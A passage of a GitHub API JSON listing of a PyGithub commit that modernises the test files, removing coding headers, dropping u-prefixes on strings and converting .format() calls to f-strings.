pytest-cov>=2.8"},{"sha":"ce374d54ae35693ae76215a7bb98e9274ea18f6f","filename":"tests/ApplicationOAuth.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FApplicationOAuth.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FApplicationOAuth.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FApplicationOAuth.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Rigas Papathanasopoulos #\n@@ -37,14 +35,14 @@ def testLoginURL(self):\n sample_uri = \"https://myapp.com/some/path\"\n sample_uri_encoded = \"https%3A%2F%2Fmyapp.com%2Fsome%2Fpath\"\n self.assertEqual(\n- self.app.get_login_url(), \"{}?client_id={}\".format(BASE_URL, self.CLIENT_ID)\n+ self.app.get_login_url(), f\"{BASE_URL}?client_id={self.CLIENT_ID}\"\n )\n self.assertTrue(\n- \"redirect_uri={}\".format(sample_uri_encoded)\n+ f\"redirect_uri={sample_uri_encoded}\"\n in self.app.get_login_url(redirect_uri=sample_uri)\n )\n self.assertTrue(\n- \"client_id={}\".format(self.CLIENT_ID)\n+ f\"client_id={self.CLIENT_ID}\"\n in self.app.get_login_url(redirect_uri=sample_uri)\n )\n self.assertTrue(\n@@ -54,7 +52,7 @@ def testLoginURL(self):\n \"login=user\" in self.app.get_login_url(state=\"123abc\", login=\"user\")\n )\n self.assertTrue(\n- \"client_id={}\".format(self.CLIENT_ID)\n+ f\"client_id={self.CLIENT_ID}\"\n in self.app.get_login_url(state=\"123abc\", login=\"user\")\n )\n "},{"sha":"79e1052807622521ef84537a8eeebc61bb0af30f","filename":"tests/AuthenticatedUser.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthenticatedUser.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthenticatedUser.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FAuthenticatedUser.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"dec6b9f39054471ac51d8ff52887efc294cad575","filename":"tests/Authentication.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthentication.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthentication.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FAuthentication.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"2e05cb7d36c8d2b17f22012b90684c9f2d4e4cff","filename":"tests/Authorization.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthorization.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FAuthorization.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FAuthorization.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"4aba0284765ccf698f217ff24b67a05f34fc3f30","filename":"tests/BadAttributes.py","status":"modified","additions":143,"deletions":145,"changes":288,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBadAttributes.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBadAttributes.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FBadAttributes.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #\n@@ -117,149 +115,149 @@ def testIssue195(self):\n hooks,\n lambda h: h.name,\n [\n- u\"activecollab\",\n- u\"acunote\",\n- u\"agilebench\",\n- u\"agilezen\",\n- u\"amazonsns\",\n- u\"apiary\",\n- u\"apoio\",\n- u\"appharbor\",\n- u\"apropos\",\n- u\"asana\",\n- u\"backlog\",\n- u\"bamboo\",\n- u\"basecamp\",\n- u\"bcx\",\n- u\"blimp\",\n- u\"boxcar\",\n- u\"buddycloud\",\n- u\"bugherd\",\n- u\"bugly\",\n- u\"bugzilla\",\n- u\"campfire\",\n- u\"cia\",\n- u\"circleci\",\n- u\"codeclimate\",\n- u\"codeportingcsharp2java\",\n- u\"codeship\",\n- u\"coffeedocinfo\",\n- u\"conductor\",\n- u\"coop\",\n- u\"copperegg\",\n- u\"cube\",\n- u\"depending\",\n- u\"deployhq\",\n- u\"devaria\",\n- u\"docker\",\n- u\"ducksboard\",\n- u\"email\",\n- u\"firebase\",\n- u\"fisheye\",\n- u\"flowdock\",\n- u\"fogbugz\",\n- u\"freckle\",\n- u\"friendfeed\",\n- u\"gemini\",\n- u\"gemnasium\",\n- u\"geocommit\",\n- u\"getlocalization\",\n- u\"gitlive\",\n- u\"grmble\",\n- u\"grouptalent\",\n- u\"grove\",\n- u\"habitualist\",\n- u\"hakiri\",\n- u\"hall\",\n- u\"harvest\",\n- u\"hipchat\",\n- u\"hostedgraphite\",\n- u\"hubcap\",\n- u\"hubci\",\n- u\"humbug\",\n- u\"icescrum\",\n- u\"irc\",\n- u\"irker\",\n- u\"ironmq\",\n- u\"ironworker\",\n- u\"jabber\",\n- u\"jaconda\",\n- u\"jeapie\",\n- u\"jenkins\",\n- u\"jenkinsgit\",\n- u\"jira\",\n- u\"jqueryplugins\",\n- u\"kanbanery\",\n- u\"kickoff\",\n- u\"leanto\",\n- u\"lechat\",\n- u\"lighthouse\",\n- u\"lingohub\",\n- u\"loggly\",\n- u\"mantisbt\",\n- u\"masterbranch\",\n- u\"mqttpub\",\n- u\"nma\",\n- u\"nodejitsu\",\n- u\"notifo\",\n- u\"ontime\",\n- u\"pachube\",\n- u\"packagist\",\n- u\"phraseapp\",\n- u\"pivotaltracker\",\n- u\"planbox\",\n- u\"planio\",\n- u\"prowl\",\n- u\"puppetlinter\",\n- u\"pushalot\",\n- u\"pushover\",\n- u\"pythonpackages\",\n- u\"railsbp\",\n- u\"railsbrakeman\",\n- u\"rally\",\n- u\"rapidpush\",\n- u\"rationaljazzhub\",\n- u\"rationalteamconcert\",\n- u\"rdocinfo\",\n- u\"readthedocs\",\n- u\"redmine\",\n- u\"rubyforge\",\n- u\"scrumdo\",\n- u\"shiningpanda\",\n- u\"sifter\",\n- u\"simperium\",\n- u\"slatebox\",\n- u\"snowyevening\",\n- u\"socialcast\",\n- u\"softlayermessaging\",\n- u\"sourcemint\",\n- u\"splendidbacon\",\n- u\"sprintly\",\n- u\"sqsqueue\",\n- u\"stackmob\",\n- u\"statusnet\",\n- u\"talker\",\n- u\"targetprocess\",\n- u\"tddium\",\n- u\"teamcity\",\n- u\"tender\",\n- u\"tenxer\",\n- u\"testpilot\",\n- u\"toggl\",\n- u\"trac\",\n- u\"trajectory\",\n- u\"travis\",\n- u\"trello\",\n- u\"twilio\",\n- u\"twitter\",\n- u\"unfuddle\",\n- u\"web\",\n- u\"weblate\",\n- u\"webtranslateit\",\n- u\"yammer\",\n- u\"youtrack\",\n- u\"zendesk\",\n- u\"zohoprojects\",\n+ \"activecollab\",\n+ \"acunote\",\n+ \"agilebench\",\n+ \"agilezen\",\n+ \"amazonsns\",\n+ \"apiary\",\n+ \"apoio\",\n+ \"appharbor\",\n+ \"apropos\",\n+ \"asana\",\n+ \"backlog\",\n+ \"bamboo\",\n+ \"basecamp\",\n+ \"bcx\",\n+ \"blimp\",\n+ \"boxcar\",\n+ \"buddycloud\",\n+ \"bugherd\",\n+ \"bugly\",\n+ \"bugzilla\",\n+ \"campfire\",\n+ \"cia\",\n+ \"circleci\",\n+ \"codeclimate\",\n+ \"codeportingcsharp2java\",\n+ \"codeship\",\n+ \"coffeedocinfo\",\n+ \"conductor\",\n+ \"coop\",\n+ \"copperegg\",\n+ \"cube\",\n+ \"depending\",\n+ \"deployhq\",\n+ \"devaria\",\n+ \"docker\",\n+ \"ducksboard\",\n+ \"email\",\n+ \"firebase\",\n+ \"fisheye\",\n+ \"flowdock\",\n+ \"fogbugz\",\n+ \"freckle\",\n+ \"friendfeed\",\n+ \"gemini\",\n+ \"gemnasium\",\n+ \"geocommit\",\n+ \"getlocalization\",\n+ \"gitlive\",\n+ \"grmble\",\n+ \"grouptalent\",\n+ \"grove\",\n+ \"habitualist\",\n+ \"hakiri\",\n+ \"hall\",\n+ \"harvest\",\n+ \"hipchat\",\n+ \"hostedgraphite\",\n+ \"hubcap\",\n+ \"hubci\",\n+ \"humbug\",\n+ \"icescrum\",\n+ \"irc\",\n+ \"irker\",\n+ \"ironmq\",\n+ \"ironworker\",\n+ \"jabber\",\n+ \"jaconda\",\n+ \"jeapie\",\n+ \"jenkins\",\n+ \"jenkinsgit\",\n+ \"jira\",\n+ \"jqueryplugins\",\n+ \"kanbanery\",\n+ \"kickoff\",\n+ \"leanto\",\n+ \"lechat\",\n+ \"lighthouse\",\n+ \"lingohub\",\n+ \"loggly\",\n+ \"mantisbt\",\n+ \"masterbranch\",\n+ \"mqttpub\",\n+ \"nma\",\n+ \"nodejitsu\",\n+ \"notifo\",\n+ \"ontime\",\n+ \"pachube\",\n+ \"packagist\",\n+ \"phraseapp\",\n+ \"pivotaltracker\",\n+ \"planbox\",\n+ \"planio\",\n+ \"prowl\",\n+ \"puppetlinter\",\n+ \"pushalot\",\n+ \"pushover\",\n+ \"pythonpackages\",\n+ \"railsbp\",\n+ \"railsbrakeman\",\n+ \"rally\",\n+ \"rapidpush\",\n+ \"rationaljazzhub\",\n+ \"rationalteamconcert\",\n+ \"rdocinfo\",\n+ \"readthedocs\",\n+ \"redmine\",\n+ \"rubyforge\",\n+ \"scrumdo\",\n+ \"shiningpanda\",\n+ \"sifter\",\n+ \"simperium\",\n+ \"slatebox\",\n+ \"snowyevening\",\n+ \"socialcast\",\n+ \"softlayermessaging\",\n+ \"sourcemint\",\n+ \"splendidbacon\",\n+ \"sprintly\",\n+ \"sqsqueue\",\n+ \"stackmob\",\n+ \"statusnet\",\n+ \"talker\",\n+ \"targetprocess\",\n+ \"tddium\",\n+ \"teamcity\",\n+ \"tender\",\n+ \"tenxer\",\n+ \"testpilot\",\n+ \"toggl\",\n+ \"trac\",\n+ \"trajectory\",\n+ \"travis\",\n+ \"trello\",\n+ \"twilio\",\n+ \"twitter\",\n+ \"unfuddle\",\n+ \"web\",\n+ \"weblate\",\n+ \"webtranslateit\",\n+ \"yammer\",\n+ \"youtrack\",\n+ \"zendesk\",\n+ \"zohoprojects\",\n ],\n )\n for hook in hooks:"},{"sha":"876d50fe8c3ea4749d8f547d06e055200fc5caff","filename":"tests/Branch.py","status":"modified","additions":18,"deletions":20,"changes":38,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBranch.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBranch.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FBranch.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -87,10 +85,10 @@ def testEditProtectionDismissalUsersWithUserOwnedBranch(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#update-branch-protection\",\n- u\"message\": u\"Validation Failed\",\n- u\"errors\": [\n- u\"Only organization repositories can have users and team restrictions\"\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#update-branch-protection\",\n+ \"message\": \"Validation Failed\",\n+ \"errors\": [\n+ \"Only organization repositories can have users and team restrictions\"\n ],\n },\n )\n@@ -104,10 +102,10 @@ def testEditProtectionPushRestrictionsWithUserOwnedBranch(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#update-branch-protection\",\n- u\"message\": u\"Validation Failed\",\n- u\"errors\": [\n- u\"Only organization repositories can have users and team restrictions\"\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#update-branch-protection\",\n+ \"message\": \"Validation Failed\",\n+ \"errors\": [\n+ \"Only organization repositories can have users and team restrictions\"\n ],\n },\n )\n@@ -147,8 +145,8 @@ def testRemoveProtection(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#get-branch-protection\",\n- u\"message\": u\"Branch not protected\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#get-branch-protection\",\n+ \"message\": \"Branch not protected\",\n },\n )\n \n@@ -166,8 +164,8 @@ def testRemoveRequiredStatusChecks(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch\",\n- u\"message\": u\"Required status checks not enabled\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#get-required-status-checks-of-protected-branch\",\n+ \"message\": \"Required status checks not enabled\",\n },\n )\n \n@@ -193,8 +191,8 @@ def testEditRequiredPullRequestReviewsWithTooLargeApprovingReviewCount(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch\",\n- u\"message\": u\"Invalid request.\\n\\n9 must be less than or equal to 6.\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch\",\n+ \"message\": \"Invalid request.\\n\\n9 must be less than or equal to 6.\",\n },\n )\n \n@@ -207,8 +205,8 @@ def testEditRequiredPullRequestReviewsWithUserBranchAndDismissalUsers(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch\",\n- u\"message\": u\"Dismissal restrictions are supported only for repositories owned by an organization.\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#update-pull-request-review-enforcement-of-protected-branch\",\n+ \"message\": \"Dismissal restrictions are supported only for repositories owned by an organization.\",\n },\n )\n \n@@ -295,8 +293,8 @@ def testRemovePushRestrictions(self):\n self.assertEqual(\n raisedexp.exception.data,\n {\n- u\"documentation_url\": u\"https://developer.github.com/v3/repos/branches/#list-team-restrictions-of-protected-branch\",\n- u\"message\": u\"Push restrictions not enabled\",\n+ \"documentation_url\": \"https://developer.github.com/v3/repos/branches/#list-team-restrictions-of-protected-branch\",\n+ \"message\": \"Push restrictions not enabled\",\n },\n )\n "},{"sha":"65a75d21e85338d8a7d15688bbeed469eaf1756f","filename":"tests/BranchProtection.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBranchProtection.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FBranchProtection.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FBranchProtection.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"818371b5ab3f8e3b287e09dda55480a4ad2c83c7","filename":"tests/CheckRun.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCheckRun.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCheckRun.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCheckRun.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Dhruv Manilawala #"},{"sha":"9dafaeb69d5fbf06172bf06bcc81ff7461e62943","filename":"tests/CheckSuite.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCheckSuite.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCheckSuite.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCheckSuite.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Raju Subramanian #"},{"sha":"beb3d4885b8abb39b0f533b638e67fb478fac71b","filename":"tests/Commit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCommit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"c51588e94135f1015d55dd84828b091e42fa423a","filename":"tests/CommitCombinedStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitCombinedStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitCombinedStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCommitCombinedStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Jannis Gebauer #"},{"sha":"8f1a58fb4178c0de6ac540876cc0da5263168ef2","filename":"tests/CommitComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCommitComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b94cf424256de155ba8b44a7b5a81a4692cf61de","filename":"tests/CommitStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FCommitStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FCommitStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"a29eefdcf85e69f11fcd3166e72201316db0cf81","filename":"tests/ConditionalRequestUpdate.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FConditionalRequestUpdate.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FConditionalRequestUpdate.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FConditionalRequestUpdate.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 AKFish #"},{"sha":"a0869d3e4d6a43b07569fd9ff90a898f29e55eb9","filename":"tests/Connection.py","status":"modified","additions":4,"deletions":6,"changes":10,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FConnection.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FConnection.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FConnection.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Adam Baratz #\n@@ -43,16 +41,16 @@\n \"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\n{\\\"body\\\":\\\"BODY TEXT\\\"}\\n\\n\",\n ),\n (\n- u'{\"body\":\"BODY\\xa0TEXT\"}',\n- u\"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\n{\\\"body\\\":\\\"BODY\\xa0TEXT\\\"}\\n\\n\",\n+ '{\"body\":\"BODY\\xa0TEXT\"}',\n+ \"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\n{\\\"body\\\":\\\"BODY\\xa0TEXT\\\"}\\n\\n\",\n ),\n (\n \"BODY TEXT\",\n \"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\nBODY TEXT\\n\\n\",\n ),\n (\n- u\"BODY\\xa0TEXT\",\n- u\"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\nBODY\\xa0TEXT\\n\\n\",\n+ \"BODY\\xa0TEXT\",\n+ \"\\nGET\\napi.github.com\\nNone\\n/user\\n{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'}\\nNone\\n200\\n[]\\nBODY\\xa0TEXT\\n\\n\",\n ),\n ],\n )"},{"sha":"1b3c61fba810c9f0b791fb2e56bbce50d75052bd","filename":"tests/ContentFile.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FContentFile.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FContentFile.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FContentFile.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b0c2fbcb4a800e2f5c4dda05415238e5ef7a04f5","filename":"tests/Deployment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDeployment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDeployment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FDeployment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"0b4a2266802318f92759749d99340dc208bf09d4","filename":"tests/DeploymentStatus.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDeploymentStatus.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDeploymentStatus.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FDeploymentStatus.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Colby Gallup #"},{"sha":"d1c3e752702a9c9441cd67426a28ea3a66b42b38","filename":"tests/Download.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDownload.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FDownload.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FDownload.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"b0a5ee4d9d4a1cf89daa4b840b4efd2e8d16a7ee","filename":"tests/Enterprise.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEnterprise.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEnterprise.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FEnterprise.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"ed2d01b7f8886407ec701fe4485cb3fda4edbb83","filename":"tests/Equality.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEquality.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEquality.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FEquality.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"1be98f42d4b631855b3784e2933b529d14d76d49","filename":"tests/Event.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEvent.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FEvent.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FEvent.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6b9edc5ee482f23e00e5ef5533584356d942d410","filename":"tests/Exceptions.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FExceptions.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FExceptions.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FExceptions.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques 